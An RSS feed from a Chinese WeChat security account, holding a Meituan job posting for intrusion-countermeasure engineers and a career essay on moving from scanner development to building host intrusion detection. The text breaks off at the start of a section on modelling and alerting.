<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>安全小黄鸭</title>
    <link>https://wechat2rss.xlab.app/feed/15824aba690f6db2a4922191b262ed22a3b8bec1.xml</link>
    <description>嘎嘎~嘎嘎~&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (安全小黄鸭)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM7xFufJdQhPvZLJkQdb4E1jXXKz2EharLrRyIED52y7yQ/0</url>
      <title>安全小黄鸭</title>
      <link>https://wechat2rss.xlab.app/feed/15824aba690f6db2a4922191b262ed22a3b8bec1.xml</link>
    </image>
    <item>
      <title>【招聘】入侵对抗工程师/专家！上海or北京！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjIxNzkyNQ==&amp;mid=2247483831&amp;idx=1&amp;sn=1a1187c4307c1e17eb006d5f19477f98</link>
      <description>上海or北京 等你来！</description>
      <content:encoded><![CDATA[<p>
<span>吃瓜群众</span> <span>2023-03-01 15:08</span> <span style="display: inline-block;">北京</span>
</p>

<p>上海or北京 等你来！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=5ee48d15&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQl8BA9QYMtj7G7s8SibmIn4wh0IUf8mzWJGgOkp2cqApkZ5wicDUlC9blqmqjxjQDlrSRQP0E7FjgDw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="margin-bottom: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin: 10px auto;outline: 0px;max-width: 100%;display: flex;place-content: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: flex-end;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="outline: 0px;max-width: 100%;flex-shrink: 0;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="outline: 0px;max-width: 100%;box-sizing: border-box;width: 22px;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-ratio="1" style="outline: 0px;box-sizing: border-box;vertical-align: inherit;display: block;width: 22px;overflow-wrap: break-word !important;visibility: visible !important;" data-type="gif" data-w="100" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=8b53455f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F6tKK4bYDvyk7HIFXQO6g9hwnkf71jTYDLuy8icDgcHQk8lLNhC2eRQHSPViamwph78ICqibLl27UwRL2rUncV9B2w%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></section></section><section style="padding-right: 5px;padding-left: 5px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin-bottom: -15px;outline: 0px;max-width: 100%;font-size: 16px;color: rgb(255, 247, 214);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="outline: 0px;max-width: 100%;font-size: 16px;color: rgb(255, 192, 0);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-weight: bold;caret-color: red;box-sizing: border-box !important;overflow-wrap: break-word !important;">入侵对抗工程师/专家</span></section></section><section style="outline: 0px;max-width: 100%;flex-shrink: 0;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="outline: 0px;max-width: 100%;box-sizing: border-box;width: 22px;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-ratio="1" style="outline: 0px;box-sizing: border-box;vertical-align: inherit;display: block;width: 22px;overflow-wrap: break-word !important;visibility: visible !important;" data-type="gif" data-w="100" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=8b53455f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F6tKK4bYDvyk7HIFXQO6g9hwnkf71jTYDLuy8icDgcHQk8lLNhC2eRQHSPViamwph78ICqibLl27UwRL2rUncV9B2w%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></section></section></section></section></section><section style="margin-bottom: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">岗位职责：</span></strong></section><section style="margin-bottom: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">负责美团安全攻防能力建设，包括但不限于日志/漏洞/后门分析及逆向，安全事件响应调查，安全检测策略和模型的开发设计，安全评估/渗透测试。</span></section><section style="margin-bottom: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">岗位要求：</span></strong></section><section style="margin-bottom: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.2年以上工作经验，熟悉网络安全攻防技术和工具，熟悉常见的Web/系统安全漏洞及原理；</span></section><section style="margin-bottom: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.有丰富的应急响应，事件调查经验，熟悉各类安全日志（如Web访问，操作系统，安全设备等日志)；</span></section><section style="margin-bottom: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">3.熟悉Linux/Windows系统原理，并能以Linux/Mac作为工作平台；</span></section><section style="margin-bottom: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.熟悉至少一种编程语言，如Python，C，Java，GO等；</span></section><section style="margin-bottom: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">5.熟悉业界安全攻防动态，追踪新的安全漏洞，能够分析漏洞原理和实现POC编写；</span></section><section style="margin-bottom: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.能够无障碍阅读英文技术Paper；</span></section><section style="margin-bottom: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.热爱安全工作，具备优秀的逻辑思维能力，对解决挑战性问题充满热情，善于解决问题和分析问题。</span></section><section style="margin-bottom: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">具备以下优先：</span></strong></section><section style="margin-bottom: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">1. 有互联网公司安全工作经验者优先；</span></section><section style="margin-bottom: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">2. 有大型网络渗透经验和CTF竞赛经验者优先。</span></section><section style="margin-bottom: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">岗位亮点：</span></strong></section><section style="margin-bottom: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">1. 美团自身可提供中大型企业级运营平台和基础设施，可满足各类不同企业安全方向的研究需求；</span></section><section style="margin-bottom: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">2. 可以接触到安全运营，应急响应，漏洞研究，入侵溯源，情报分析等多个企业安全领域，有充足的学习机会。</span></section><section style="margin-bottom: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></section><section style="margin-bottom: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="3.5844155844155843" data-w="1078" src="https://wechat2rss.xlab.app/img-proxy/?k=d22a4b35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6tKK4bYDvyk7HIFXQO6g9hwnkf71jTYD9UiciaoMbULsxXFMQGNQy4WnwelszxbkcGHzqbZgdmTVBFeTEt1bbDAA%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></span></section><section style="margin-bottom: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">更多岗位点击查看原文跳转！</span></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://mp.weixin.qq.com/s/DLQXerVl8zF_N5LydlzcVA#rd">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9f934e3b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjIxNzkyNQ%3D%3D%26mid%3D2247483831%26idx%3D1%26sn%3D1a1187c4307c1e17eb006d5f19477f98%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 01 Mar 2023 15:08:00 +0800</pubDate>
    </item>
    <item>
      <title>我与入侵检测的二三事儿</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjIxNzkyNQ==&amp;mid=2247483820&amp;idx=1&amp;sn=22dc4117a2f575e0005dc4ac7ff7b812</link>
      <description>如何从从扫描器萌新，成长为入侵检测的“青年”油条？</description>
      <content:encoded><![CDATA[<p>
原创 <span>Fr1d4y</span> <span>2022-08-26 15:13</span> <span style="display: inline-block;">北京</span>
</p>

<p>如何从从扫描器萌新，成长为入侵检测的“青年”油条？</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6a5d4ed4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQmvKVCpCVef54vCgBah8ibXNMlKej5HEFYXC1Cq4GgDAo7Zpaia8JWfTytNevzylziaqiawAO6qUiarpzg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-bottom: 0px;">总结毕业后的六年经历，从扫描器萌新，到入侵检测的“青年”油条，希望能对各位有一些参考价值。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;"><span style="font-size: 20px;"><strong>一、扫描器</strong></span></p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">18年的夏天，我毕业刚满两年。每个工作日都沉浸在代码里，在扫描器的世界里挥斥方遒，poc数量和漏洞成果都越积越多，工作充实但内心的空洞却越来越大。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">在机械化重复的工作间隙里，我一直在思考几个问题。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">我是怎么走上这条路的？我没有主动选择过，但机缘巧合之下，全身都被贴满了扫描器的标签。实习的时候被安排的第一个任务是内网端口扫描，毕业后第一份工作是维护商业扫描器，后来变成自己来写扫描器。看似在不断进步——从一个模块，到整体维护，再到重构，实际上却被重复工作填满，个人成长非常有限。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">我真的想做扫描器吗？最一开始的时候想做，刚毕业的萌新眼里，哪里都蒙着神秘的面纱，什么都想学。但真的花了两年摸了一遍之后，祛魅环节完成，扫描器就如同墙上被拍扁的蚊子血，失去了光彩。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">这条路还有发展潜力吗？当然有，可以优化架构减少重复工作，也可以深入底层代码原理做性能优化。但我不想成为架构师，再继续下去，代码能力会成为束缚而非助力。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">是时候换一个方向了。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">寻觅良久，我盯上了HIDS——功能复杂繁多，历史积淀与未来发展并存，是一个绝佳的、值得深入研究的工作方向。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;"><span style="font-size: 20px;"><strong>二、转职</strong></span></p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">“转职”的过程并不顺利，我原本想在Q公司内部转方向，但我所在的团队讲究“孤狼”文化：一两个人负责一个小项目，快速迭代出成果。HIDS实在不是一两个人短期内能完成的项目，数据采集和安全分析是两块儿巨大的蛋糕，很难一口吞下。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">于是我离职换了工作，本以为到了K公司会柳暗花明又一村，结果变成了更孤的狼。总归还是做了一些努力：开发能力不过关，那就用开源系统OSQuery；没有数据分析能力，那就从头开始学。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">结果还是不如人意，OSQuery虽然省去了很多工程化的工作，但各公司的基础环境不同，推动的时候遇到了非常多的阻碍，稳定性问题频发，覆盖率也一直上不去；数据分析学了一些，但巧妇难为无米之炊，没有数据谈何分析？</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">后来我离开K公司的时候，HIDS的部署量大约还剩百十来台机器，惨惨淡淡凄凄凉凉。再往后K公司也招了几位专业的研发同学，完全抛弃了OSQuery那一套东西，纯自研迭代了几轮之后也全部覆盖上了，不过这就已经是后话了。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">在最迷茫的时候，我看到了一篇文章——《<span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><a target="_blank" href="https://mp.weixin.qq.com/s?__biz=MjM5NjQ5MTI5OA==&amp;mid=2651749345&amp;idx=1&amp;sn=ad14b231b59bd7158db25da639b13115&amp;scene=21#wechat_redirect" textvalue="浅谈大型互联网的企业入侵检测及防护策略" linktype="text" imgurl="" imgdata="null" tab="innerlink" data-linktype="2">浅谈大型互联网的企业入侵检测及防护策略</a></span>》<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">，条</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">理清晰、深入浅出的讲解了入侵检测中遇到的种种困境及解决思路。</span></p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">所以，毕业第四年，第三份工作，我选择了M公司。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">高中的时候有一位老师说过一段话，让我至今记忆犹新：“学习，是一个先把书读厚，再把书读薄的过程” 。读厚是指深入理解书里的原理，每页里都有厚重的故事；而读薄是指将技巧融汇贯通，摒弃招式，形成“方法论”，便能举一反三掌握各种变形。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">这篇文章便是一本书，来到M公司后，我先将书读厚，书里每一句精炼概要的道理，我都在工作中不断经历、实践，所以知其然知其所以然；而后将书读薄，抽象方法论，万变不离其宗。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">接下来便是我在M公司的“读书”小记。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;"><strong><span style="font-size: 20px;">三、基建</span></strong></p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">来M公司前，我以为HIDS的迭代路线是这样的：先把HIDS Agent该做的功能做的八九不离十，然后慢慢的灰度铺开，发几个版本修复bug，就可以开始写检测规则了。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">而我入职的岗位职责之一就是“写规则”，推导一下，那Agent大概成熟度已经很高了，一定是在持续稳定的采集各类数据，就等我去分析建模了。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">所以当我入职没几天，就发现HIDS Agent是全量挂掉的状态的时候，内心是有点儿噩梦重现的恐惧感的。尤其是挂掉的原因，又是稳定性问题——HIDS依赖的中间件故障。类似的问题，我在K公司定位了好几个月都没有解决…</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">但噩梦还没来及展开，就光速结束了。M公司内部建设HIDS实际有两个团队，将基建与数据分析拆分开，专业的人做专业的事情。全量停机的问题看起来严重，但在专业的研发同学眼里，并不是关键的技术瓶颈。大约两三周之后，问题修复，Agent重新灰度上线。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">后来类似的事情又发生过几次，每次的原因都不尽相同，比如资源超限对业务产生影响、逻辑错误导致bug等等，在专业靠谱的研发团队支撑下，也都平稳度过，极少发生全量回滚/下线的情况。（研发团队指路-&gt;《<a target="_blank" href="https://mp.weixin.qq.com/s?__biz=MjM5NjQ5MTI5OA==&amp;mid=2651750220&amp;idx=2&amp;sn=26e1ae8056e4fd7db5e953e946a00b78&amp;scene=21#wechat_redirect" textvalue="保障IDC安全：分布式HIDS集群架构设计" linktype="text" imgurl="" imgdata="null" tab="innerlink" data-linktype="2">保障IDC安全：分布式HIDS集群架构设计</a>》）</p><p style="margin-bottom: 0px;"><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.9214285714285714" data-s="300,640" style="" data-type="png" data-w="280" src="https://wechat2rss.xlab.app/img-proxy/?k=9bd3d8e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQmvKVCpCVef54vCgBah8ibXNZ8ic9ibS20MytXp1VojfGSKU2mFQ5LB6Q5h6p7Y4k1azXXhv7ibspnQZw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">当然除了稳定性问题，Agent的采集能力也与我想象中的“八九不离十”相差甚远。Agent早期存在非常多的数据质量问题，比如数据关联错误、短进程数据丢失、采集逻辑不全面等，每个问题都难以预知，也对后端的数据分析有非常大的影响。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">数据源的问题很难一次性全部暴露出来，通常是在数据分析到一半的时候才发现问题，有时候还会影响很大。比如数据关联错误的问题，业务逻辑是A进程访问某敏感文件，但是错误关联成了B进程访问敏感文件，让行为模型的误报量飚高，只能等Agent修复后，模型的误报量才能到达上线标准。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">当时定位问题的过程也非常坎坷，是否取错需要人工判断，而取错又是小概率事件无法稳定复现，代码层面上看不出问题，摸黑改了一次效果有限。而Agent变更可能会影响业务，所以灰度的周期很长，每次修改验证都动辄以月计，模型的进展也阻塞在这里，情况非常紧张。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">无奈之下，我们用“大数据”找了一批复现概率比较高的机器和取错组合，提供给研发同学后，有了复现和验证的环境，再加上专业能力，问题很快就解决了。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">类似的曲折故事，在推进数据源采集能力提升的过程中发生了很多次，但总归是在各自发挥专业优势、互相协作的的情况下，不断克服困难并持续进步。几年过去，目前Agent的稳定性和采集能力都有了明显的提升，关键数据源极少再出现取错或者漏取的问题，有效支撑了安全检出能力。</p><p style="margin-bottom: 0px;"><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1" data-s="300,640" style="" data-type="png" data-w="240" src="https://wechat2rss.xlab.app/img-proxy/?k=9fc90714&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQmvKVCpCVef54vCgBah8ibXNwOP4NSHyfm3hfesGJFKKLhtabBkewUf7wYzmrJ7Xf6IwicLTr4vXjKQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;"><span style="font-size: 20px;"><strong>四、建模及告警</strong></span></p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 